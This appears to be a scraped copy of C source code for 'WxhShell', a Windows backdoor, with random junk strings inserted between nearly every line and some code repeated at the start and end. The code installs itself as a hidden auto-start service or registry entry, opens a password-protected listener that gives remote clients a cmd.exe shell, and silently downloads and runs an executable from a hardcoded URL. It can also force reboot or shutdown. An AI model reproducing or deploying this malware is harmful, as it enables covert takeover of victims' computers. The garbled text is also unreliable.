W g5yJfRLxp g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]?*wbxU0 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r3Ykz%6 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /o[w4d8 Q;u pau if (!NtQueryInformationProcess) return 0; HV.t6@\}; O84i;S+-p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &NWEqBz*2 if(!hProcess) return 0; g'gdgfvn #S(Hd?34, if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v1[29t<I! =fbWz CloseHandle(hProcess); :r[`.` wbHb;] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TNth if(hProcess==NULL) return 0; +0~YP*I`/ d5.4l&\u HMODULE hMod; pFXEu=$3 char procName[255]; Y7aqO5 unsigned long cbNeeded; 9my^Y9B yw!{MO if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]3gSQ7 Qd-A.{[h CloseHandle(hProcess);
$k?>DP4 Y}/-C3) if(strstr(procName,"services")) return 1; // 以服务启动 P%6~&woF <m m[S return 0; // 注册表启动 i$@:@&(~Y } rc{v$.o0 yLGRi^d# // 主模块 N$DkX)Z int StartWxhshell(LPSTR lpCmdLine) VnzZTGs { d@^ZSy>L2 SOCKET wsl; /mMV{[ BOOL val=TRUE; Q@niNDaW2 int port=0; zTp"AuNHN struct sockaddr_in door; w@pPcZ>z/ =WLY 6)]A if(wscfg.ws_autoins) Install(); U17d>]ka yr6V3],Tp port=atoi(lpCmdLine); "zc l|@ R=dC4; if(port<=0) port=wscfg.ws_port; O=lzT~G|4 ?(PKeq6 WSADATA data; pI[uUu7O if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; phK/ d1*<Ll9K if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ebq4g387X setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nNm`Hfi door.sin_family = AF_INET; 4W])}C % door.sin_addr.s_addr = inet_addr("127.0.0.1"); >7FHo-H/T door.sin_port = htons(port); N;d] 14| u y+pP!< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /{[o~:'p closesocket(wsl); mR~&)QBP. return 1; [Zrr)8A } *#2h/Q. j+!v}*I![ if(listen(wsl,2) == INVALID_SOCKET) { omFz@ closesocket(wsl); ~[
F`" return 1; )1z@ } pw#-_ Wxhshell(wsl); @L`jk+Y0vF WSACleanup(); >sF)BoLc cS$_\65 return 0; 7nSxi+6e fOHxtHM } 5N]"~w* jylD6IT // 以NT服务方式启动 UBs4K*h|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QnDg6m)+ { i@q&5;%% DWORD status = 0; )_:NLo: DWORD specificError = 0xfffffff; =%7-ZH9 ~rm_vo serviceStatus.dwServiceType = SERVICE_WIN32; /xQTxh1;K serviceStatus.dwCurrentState = SERVICE_START_PENDING; NRuNKl.v serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TrNF=x> serviceStatus.dwWin32ExitCode = 0; 0"R|..l/ serviceStatus.dwServiceSpecificExitCode = 0; #G3<7PK serviceStatus.dwCheckPoint = 0; |:o4w serviceStatus.dwWaitHint = 0; ni<(K
0~ %xW"!WbJ| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YR70BOxK if (hServiceStatusHandle==0) return; >_TZ'FT 6b,V;#Anj status = GetLastError(); [;N'=]` if (status!=NO_ERROR) "7
yD0T)2 { yu|>t4#GT serviceStatus.dwCurrentState = SERVICE_STOPPED; >l m&iF3y serviceStatus.dwCheckPoint = 0; dQvcXl] serviceStatus.dwWaitHint = 0; QPx^_jA serviceStatus.dwWin32ExitCode = status; :3PH8TL serviceStatus.dwServiceSpecificExitCode = specificError; +t.b` U`- SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?M2J wAK5 return; GY*p?k<i } cNrg#Asen& _aphkeqd serviceStatus.dwCurrentState = SERVICE_RUNNING; ?0.NIu,,o serviceStatus.dwCheckPoint = 0; YUb_y^B^ serviceStatus.dwWaitHint = 0; F@t3!bj9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !Cs_F&l"j } #mT"gs s"|Pdc4 // 处理NT服务事件,比如:启动、停止 i%/+5gq VOID WINAPI NTServiceHandler(DWORD fdwControl) x;S @bY { S/ *E,))m switch(fdwControl) =I<R! ZSN { aXVFc5C\ case SERVICE_CONTROL_STOP: bcyzhK= serviceStatus.dwWin32ExitCode = 0; 1 zZlC#V serviceStatus.dwCurrentState = SERVICE_STOPPED; m 5.Zu. serviceStatus.dwCheckPoint = 0; "%_+-C<L4 serviceStatus.dwWaitHint = 0; ]'cs. { gR**@t=;j SetServiceStatus(hServiceStatusHandle, &serviceStatus); =l6mL+C } f3;5Am return; >?b!QU*a case SERVICE_CONTROL_PAUSE: #WuBL_nZ~ serviceStatus.dwCurrentState = SERVICE_PAUSED; `uFdwO'DD break; {ax:RUQxy case SERVICE_CONTROL_CONTINUE: /z!%d%" serviceStatus.dwCurrentState = SERVICE_RUNNING; }C:r9?T break; E./2jCwI(Y case SERVICE_CONTROL_INTERROGATE: [
3Gf2_ break; 7_L;E~\ }; RN1_S SetServiceStatus(hServiceStatusHandle, &serviceStatus); ig!+2g } eRYK3W ;jXgAAz7 // 标准应用程序主函数 uZ5p#M_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +z( Lr=G { eDMO]5}Ht ]lbuy7xj63 // 获取操作系统版本 }6# OsIsNt=GetOsVer(); 1^}+=~ GetModuleFileName(NULL,ExeFile,MAX_PATH); g(052]
f 2.HF@ // 从命令行安装 q'DW~!>qX if(strpbrk(lpCmdLine,"iI")) Install(); BLttb Wri<h:1 // 下载执行文件 bsX[UF if(wscfg.ws_downexe) { pkzaNY/q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZH8,KY" WinExec(wscfg.ws_filenam,SW_HIDE); ?}0 ,o. } |N2#ItBbW >j/w@Fj if(!OsIsNt) { f?Lw)hMrA // 如果时win9x,隐藏进程并且设置为注册表启动
;'|Ey HideProc(); Wc#24:OKe3 StartWxhshell(lpCmdLine); 6'/ #+,d' } }j%5t ~Qa else [6fQ7uFMM8 if(StartFromService()) =euni}7a // 以服务方式启动 +rd+0 `}C StartServiceCtrlDispatcher(DispatchTable); e=
AKD# else yAt^; // 普通方式启动 WJ#[LF!e StartWxhshell(lpCmdLine); q1,~ py4 h(04u return 0; Xhm
c6? } DUS6SO SU0
hma8 ! mHO$bQ" CrLrw T =========================================== 3S{/>1Y ";F'~}bDA i@yC-))bY s_Sk0}e ;TYBx24vD' K-4PI+qQ\ " _b 0&!l<
n S=W 1zf #include <stdio.h> HfVZ~PP #include <string.h> +%'(!A?*` #include <windows.h> Da|z"I
x #include <winsock2.h> mt
.sucT #include <winsvc.h> @]j1:PN-
#include <urlmon.h> A"]YM'. f#;> g #pragma comment (lib, "Ws2_32.lib") .nJz G #pragma comment (lib, "urlmon.lib") :X=hQ:>P >7|VR:U?B #define MAX_USER 100 // 最大客户端连接数 Ac@VGT:9 #define BUF_SOCK 200 // sock buffer *w&e\i|7 #define KEY_BUFF 255 // 输入 buffer x:Y1P: 4dlGxat #define REBOOT 0 // 重启 _f83-':W6 #define SHUTDOWN 1 // 关机 ^('wy}; %EH)&k #define DEF_PORT 5000 // 监听端口 &~CI<\o P
];m_4 #define REG_LEN 16 // 注册表键长度 LV Ge]lD #define SVC_LEN 80 // NT服务名长度 Xvu(vA tw;}jh // 从dll定义API 1Mzmg[L8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'L'R9&o<X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5!
{D! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6Mf0`K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?9/G[[( sRs>"zAg // wxhshell配置信息 %J(:ADu] struct WSCFG { I9Xuok!0>= int ws_port; // 监听端口 ye&;(30Oq char ws_passstr[REG_LEN]; // 口令 =cI(d , int ws_autoins; // 安装标记, 1=yes 0=no
"jZ-,P= char ws_regname[REG_LEN]; // 注册表键名 .#gzP2 [q char ws_svcname[REG_LEN]; // 服务名 MtdG>TzUn char ws_svcdisp[SVC_LEN]; // 服务显示名 ^q5#ihM char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?s01@f# char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [,Gg^*umS int ws_downexe; // 下载执行标记, 1=yes 0=no
TjH][bH5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K+eM char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x5Bk/e' SUiOJ[5, }; >:-$+I (`^1Y3&2 // default Wxhshell configuration oJ^P(] dw struct WSCFG wscfg={DEF_PORT, X?O[r3< "xuhuanlingzhe", @d'j zs 1, H_a[)DT "Wxhshell", dO'(2J8 "Wxhshell", {: /}NpA$ "WxhShell Service", Txu/{M, "Wrsky Windows CmdShell Service", 6K^#?Bn; "Please Input Your Password: ", BPrt'Nc 1, { 6il`>=C "http://www.wrsky.com/wxhshell.exe", -?\D\\+t "Wxhshell.exe" @ArSC }; Jy)/%p~ i!Ba]n
// 消息定义模块 G|Ti4_w
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i-1op> Y char *msg_ws_prompt="\n\r? for help\n\r#>"; `5*}p#G char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sHj/; char *msg_ws_ext="\n\rExit."; 3o*YzwRt char *msg_ws_end="\n\rQuit."; }BEB1Q}L char *msg_ws_boot="\n\rReboot..."; w;M#c
Y char *msg_ws_poff="\n\rShutdown..."; 81F9uM0 char *msg_ws_down="\n\rSave to "; vM={V$D& pa+hL,w{6 char *msg_ws_err="\n\rErr!"; :OT& char *msg_ws_ok="\n\rOK!"; M\j.8jG _ q"Gix char ExeFile[MAX_PATH]; }f ?y*
H int nUser = 0; mH(:?_KrS- HANDLE handles[MAX_USER]; zLQx%Yg! int OsIsNt; }MySaL> w0.
u\ SERVICE_STATUS serviceStatus; + {]j]OP SERVICE_STATUS_HANDLE hServiceStatusHandle; k$Vl fQ'+ ]Ljf?tk // 函数声明 %d@z39-; int Install(void); [),ige int Uninstall(void); C!gZN9- int DownloadFile(char *sURL, SOCKET wsh); Ry&6p>- int Boot(int flag); tbr=aY$jY void HideProc(void); X}]-*T|a int GetOsVer(void); !WlH'y-I int Wxhshell(SOCKET wsl); WH\d| 1) void TalkWithClient(void *cs); l/D}
X int CmdShell(SOCKET sock); ;uW FHc5@B int StartFromService(void); ib m4fa int StartWxhshell(LPSTR lpCmdLine); (7Qo hH.G#-JO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~*7]r`6\@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); GgU/!@ g(g& TO // 数据结构和表定义 [g,}gyeS( SERVICE_TABLE_ENTRY DispatchTable[] = c-w)|-ac. { z:O8Ls^\T {wscfg.ws_svcname, NTServiceMain}, )7@0[> {NULL, NULL} )oZ dj` }; lZ0 =;I *p d@.|^)m // 自我安装 3`HV(5U[ int Install(void) gw(z1L5
n { K3C <{#r char svExeFile[MAX_PATH]; <@}9Bid!o HKEY key; al0L&z\ strcpy(svExeFile,ExeFile); XW9!p.*.U ,4rPg]r@ // 如果是win9x系统,修改注册表设为自启动 }Jw,>} if(!OsIsNt) { ]n~V!hl?A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }JfjX' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?2a $*( RegCloseKey(key); k)u[0} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =Qq+4F)MD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xj*Wu_ RegCloseKey(key); hZ3bVi)L\ return 0; 5;?yCWc } 1M-pr 8:6s } ,Q B<7a+I } G3]4A&h9v~ else { E7hhew zDp 2g) // 如果是NT以上系统,安装为系统服务 Z)!C'c b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^.tg 7%dJ if (schSCManager!=0) =41xkAMnk { e!`i3KYn" SC_HANDLE schService = CreateService !k%#R4*> ( <{pz<io) schSCManager, t)
+310w wscfg.ws_svcname, @x1-!
~z# wscfg.ws_svcdisp, PH"%kCI: SERVICE_ALL_ACCESS, )[ ,A_3E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0V]s:S SERVICE_AUTO_START, _@g;8CA SERVICE_ERROR_NORMAL, tkhCw/ svExeFile, YqG7h,F NULL, ]4{H+rw NULL, -M2yw NULL, +(*DT9s+ NULL, iE{&*.q_}> NULL B *vM0 ); H]!"Zq k if (schService!=0) A
>$I
-T+ { +"(jjxJm CloseServiceHandle(schService); !BI;C(,RL CloseServiceHandle(schSCManager); #g=XUZ/" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V]N?6\Op strcat(svExeFile,wscfg.ws_svcname); |o@%dH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *VeRVaBl RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5;S.H#YOpO RegCloseKey(key); bcR_E5x$ return 0; % nIf)/2g } ;=@0'xPEa- } &zs$x?/ CloseServiceHandle(schSCManager); iLz@5Zj8 } 23?rEhKe } :]c3|J h~26WLf. return 1; :EH=_" } /bEAK- G:JR7N$ // 自我卸载 k8Xm n6X int Uninstall(void) 1cGmg1U; { :LTN!jj HKEY key; nm+s{ G`zm@QL if(!OsIsNt) { .2pK.$. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ah<+y\C RegDeleteValue(key,wscfg.ws_regname); j9,P/K$:w RegCloseKey(key); K#xvu1U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6#yUc_5 \ RegDeleteValue(key,wscfg.ws_regname); j4b4!^fV RegCloseKey(key); AEuG v}# return 0;
Y~Ifj,\ } IAEAhqp } 4=.so~9odX } Wf<LR3 else { fLVAKn ^GX)Z~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DN/YHSYK if (schSCManager!=0) a>)f=uS { w:l"\Tm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W`&hp6Jq if (schService!=0) \f)#>+X- { e*!kZAf if(DeleteService(schService)!=0) { V,9cl,z+ CloseServiceHandle(schService); 3[&C g CloseServiceHandle(schSCManager); .G^YqJ 4 return 0; aP`P)3O6)1 } kR9-8I{J CloseServiceHandle(schService); >{Tm##@,k } gJhiGYx CloseServiceHandle(schSCManager); |%v^W 3 } >Se,;cB'/] } b[7]F %bfZn9_m return 1; 2-b6gc7 } FN;^"H QM]YJr3rE // 从指定url下载文件 d %#b:(, int DownloadFile(char *sURL, SOCKET wsh) Fx+*S3==%e { }75e:w[ HRESULT hr; qCO/?kW char seps[]= "/"; :ivf/xn char *token; qw8Rlws% char *file; ,(4K4pN char myURL[MAX_PATH]; H.2QKws^F char myFILE[MAX_PATH]; G9:l'\ * 4Izy14e strcpy(myURL,sURL); km40qO@3 token=strtok(myURL,seps); #,.Hr#3nI while(token!=NULL) '7@R7w!E4H { ~nPtlrQa#* file=token; x;')9/3 token=strtok(NULL,seps); Yrn)VV[)h } IMfqiH) ][] GetCurrentDirectory(MAX_PATH,myFILE); `#gie$B{ strcat(myFILE, "\\"); Bw{I;rW{2 strcat(myFILE, file); L^Fy#p send(wsh,myFILE,strlen(myFILE),0); (M
~e?s send(wsh,"...",3,0); ,1##p77. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N"1B/u if(hr==S_OK) +@:x!q|^ return 0; #u
+ v_ else _,d~}_$`i return 1; @fV9
S"TcM 69 o7EA } .}`Ix'. lA-h`rl/ // 系统电源模块 l0hlM# int Boot(int flag) xjUtl { N&V`K0FU HANDLE hToken; g>9kXP+ TOKEN_PRIVILEGES tkp; e*n@j 'Qo*y%{@5 if(OsIsNt) { h65-s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 65m"J' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8Bg;Kh6B tkp.PrivilegeCount = 1; +t:0SRSt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y]5l.SV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zr,VR-kW+ if(flag==REBOOT) { 27<
Enq] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :#~j:C| return 0; )tnh4WMh} } IyPnp&_ else { -7(@1@1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N{~YJ$!8 return 0; ivz5H(b } wg]LVW} } 7(
2{'r else { gOOPe5+ J if(flag==REBOOT) { .@Dxp]/B} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wuJ4kW$ return 0; (/*]?Ehd } s&!a else { x~j`@k,; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {s{j~M return 0; f:.I0 ST } QS]1daMIK< } H ?y,ie#u CoAvSw return 1; VgC2+APg } xLZG:^(I :'&brp3ii= // win9x进程隐藏模块 3J438M.ka void HideProc(void) DXK}-4"\ { Z@@K[$ f[^Aw(o HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2Jmz(cH% if ( hKernel != NULL ) 9
ea\vZ { ^J8lBLqe pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;H.^i|_/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -701j'q{ FreeLibrary(hKernel); GU8sO@S5# } !V g`
4J([6< return; *lw_=MXSK } <)-Sj, ,47Y9Kz9 // 获取操作系统版本 PJrtMAcKq int GetOsVer(void) xDoC( { JOLaP@IPT OSVERSIONINFO winfo; cFnDmtI: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l.bYE/F0& GetVersionEx(&winfo); pWsDzb6?% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o\pVp bB return 1; 2nIw7>.}f else Jh[UtYb5 return 0; GMl;7?RA } - kwXvYu\ _ T):G6C8 // 客户端句柄模块 -rli(RR)| int Wxhshell(SOCKET wsl) SHo$9+ { /&+tf* SOCKET wsh; ;^I*J:] struct sockaddr_in client; $.rhRKs DWORD myID; RnI&8 xJ)n4) while(nUser<MAX_USER) z(^]J`+\ { )i^<r ;_z int nSize=sizeof(client); r_6ZO& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mz~D#6= if(wsh==INVALID_SOCKET) return 1; 6U,O*WJ%e dl@%`E48w handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ouFYvtF g if(handles[nUser]==0) ]cMqahaY closesocket(wsh); NI
[
pp` else zvH8^1yzG nUser++; 2=`o_<P'" } \(Y\|zC'0$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mFaZio0GK c%G{#}^2 return 0; c>Xs&_ } j; y#[| YccH+[X; // 关闭 socket j<@lX^ void CloseIt(SOCKET wsh) [^e%@TV>d { kB|B closesocket(wsh); DBD%6o>]K nUser--; o`P%& ExitThread(0); z hRB,1iG } {~sDYRX Tewb?: // 客户端请求句柄 Sf7\;^ void TalkWithClient(void *cs) E5xzy/ZQ { v+`N*\J_ vchm"p?9) SOCKET wsh=(SOCKET)cs; h=kh@}, char pwd[SVC_LEN]; #( jw!d& char cmd[KEY_BUFF]; xt%7@/hiE char chr[1]; C=It* j55 int i,j; }w<7.I CcFn.omA while (nUser < MAX_USER) { o.G!7 $yYO_ZBiy if(wscfg.ws_passstr) { pd7NF-KD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?$^2Umt0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (>GK\=:< //ZeroMemory(pwd,KEY_BUFF); FUOI3 i=0; %$Z7x\_ while(i<SVC_LEN) { TXk?#G\o 6qaQ[XTxf // 设置超时 [[Fx[ fd_set FdRead; pDcjwlA% struct timeval TimeOut; 7cO n9fIE FD_ZERO(&FdRead); U($dx.`v# FD_SET(wsh,&FdRead); {(wHPzq TimeOut.tv_sec=8; ac.Ms (D TimeOut.tv_usec=0; }mdAM6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,Bo>E: u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H77" 0_"fJ~Y^J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *c*0PdV pwd=chr[0]; /fT+^& if(chr[0]==0xd || chr[0]==0xa) { (+3Wgl+]/ pwd=0; xAe~]k_D break; 1ilBz9x*! } ;Q[mL(1: i++; Upd3-2kr&J } #K Xa&C ;b(p=\i // 如果是非法用户,关闭 socket ,%Up0Rr, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &PK\|\\2 } Q|L9gz[? rJ{O(n]j send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,JN8f]a^"g send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yi%-7[*]= R Yl> while(1) { uYil ?H{kH nwaxz>; ZeroMemory(cmd,KEY_BUFF); ]=";IN:SU q**G(}K // 自动支持客户端 telnet标准 [7S} g j=0; dW~*e2nq while(j<KEY_BUFF) { i35=Y~P- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^? ]%sdT q cmd[j]=chr[0]; Yvjc1 if(chr[0]==0xa || chr[0]==0xd) { -'BA{#e}L cmd[j]=0; $.v5~UGb{\ break; (RZD'U/B } ,gOOiB
} j++; sWblFvHqrU } SD$h@p=!= eI:C{0p= // 下载文件 xz{IH,?IG if(strstr(cmd,"http://")) { )Ocl=H|= send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gz[fG if(DownloadFile(cmd,wsh)) G\Ro}5TO send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bw64 else *9c!^$V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]U7KLUY>: } JEgx@};O else { |{ PI102 ['*8IWg switch(cmd[0]) { w{90` z7Eg5rm|QZ // 帮助 !G}+E2fDA case '?': { S (N\cw$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r~n sN*t break; VZ](uF BY } Yx inE`u~ // 安装 F]t(%{#W case 'i': {
pzgSg[| if(Install()) }~h(w^t send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'fNKlPMv4D else <rL/B
k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lF?tQB/a break; 9Xo[(h)5d } zC:wNz@zK // 卸载 [mr9(m[F case 'r': { =)`
p_W if(Uninstall()) JS>Gd/Jd send(wsh,msg_ws_err,strlen(msg_ws_err),0); _fP&&} else R$Tp8G>j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { F}; n?' break; 8Bq!4uq\5| } .rJiyED?! // 显示 wxhshell 所在路径 {;
>Q.OX@ case 'p': { P7f,OY<@%o char svExeFile[MAX_PATH]; f5==";eP strcpy(svExeFile,"\n\r"); ?k|H3;\ strcat(svExeFile,ExeFile); =.`qixN send(wsh,svExeFile,strlen(svExeFile),0); %-AE]-/HI break; t"YNgC ^ } k` (jkbEZ // 重启 0%
#<c p case 'b': { <ExZ:ip send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tpTAeQ*:d if(Boot(REBOOT)) I]y.8~xs send(wsh,msg_ws_err,strlen(msg_ws_err),0); %9#gB else { :BGA. closesocket(wsh); RTu4@7XP ExitThread(0); 5rV(( } l?)ZJ3]a break; H7kPM[ } A?T<",bO // 关机 FsGlJ case 'd': { 9A7@
5F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "h7tnMS if(Boot(SHUTDOWN)) )
(Tom9^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); *cg(
?yg else { S"hTE7` closesocket(wsh); S$^RbI ExitThread(0); GzTq5uU& } X*7\lf2 break; @AYo-gf } =?(~aV // 获取shell Mf#83<&K case 's': { nPgeLG"00 CmdShell(wsh); W Qc> closesocket(wsh); =60~UM ExitThread(0); q(5+xSg"gK break; P0-Fc@&Y } x/:4{ // 退出 :ECi+DxBK case 'x': { M8b4NF_& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sW^a`VM CloseIt(wsh); =_8Tp~j break; `j9$T:` } m3g2b _; // 离开 `ZaT}#Y case 'q': { M#@aB"@J> send(wsh,msg_ws_end,strlen(msg_ws_end),0); 35*\_9/# closesocket(wsh); LN_OD5gZ WSACleanup(); tB'V exit(1); f0LP?] break; y9|K|xO[ } <d7V<&@o= } *AIEl"29 } !"TZ:"VZU -gz0md|Y // 提示信息 )P>u9=?,=E if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zK+52jhi } Gj /3kS~@ } Z2bcCIq4 i$KpDXP\ return; OlQ,Ce } S|GWcSg ;bX4(CMe
& // shell模块句柄 t=#Pya int CmdShell(SOCKET sock) 5ZAb]F90 { xDO7A5 STARTUPINFO si; gX?n4Csy' ZeroMemory(&si,sizeof(si)); 9%iFV
N' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d=]U_+ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s
Fgadz6O PROCESS_INFORMATION ProcessInfo; |k{-l!HI char cmdline[]="cmd"; ?Jtg3AY CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =qvZpB7ZZ return 0; w h$jr{
} i(6J>^I Kt.~aaG_ // 自身启动模式 ;#G%U!p int StartFromService(void) :'r6TVDW { Y+/lX 6' typedef struct mi2o1"Jd$` { [[)_BmS5r DWORD ExitStatus; <Jp1A#
%p DWORD PebBaseAddress; fj'jNE DWORD AffinityMask; NgB 7?]vu DWORD BasePriority; y$tX-9U ULONG UniqueProcessId; n`;R pr& ULONG InheritedFromUniqueProcessId; O:.,+,BH } PROCESS_BASIC_INFORMATION; T_OF7? ,c)g,J9 PROCNTQSIP NtQueryInformationProcess; UlQQP^Na .%0ne:5 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z]:BYX' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (5uJZ!m :a<hQ|p HANDLE hProcess; } IlP: PROCESS_BASIC_INFORMATION pbi; ]5v:5:H #cwCocw HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nl8 gK{ if(NULL == hInst ) return 0; 3LlU] px9>:t[P g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2go> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1=Ilej1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f8:$G.}i p`+VrcCBOd if (!NtQueryInformationProcess) return 0; ;~sr$6 y>(rZ^y& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nb@" ?<L! if(!hProcess) return 0; ?|t/mo|K? DPJh5d if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |j_`z@7( hE!7RM+Y CloseHandle(hProcess); ]X" / yAn LBX%H GH hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wtv#h~jy9 if(hProcess==NULL) return 0; [l[{6ZXt "'eWn6O( HMODULE hMod; <4D%v"zRP char procName[255]; BGjb`U#%3 unsigned long cbNeeded; ZxS&4>. 3DoRE2} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) 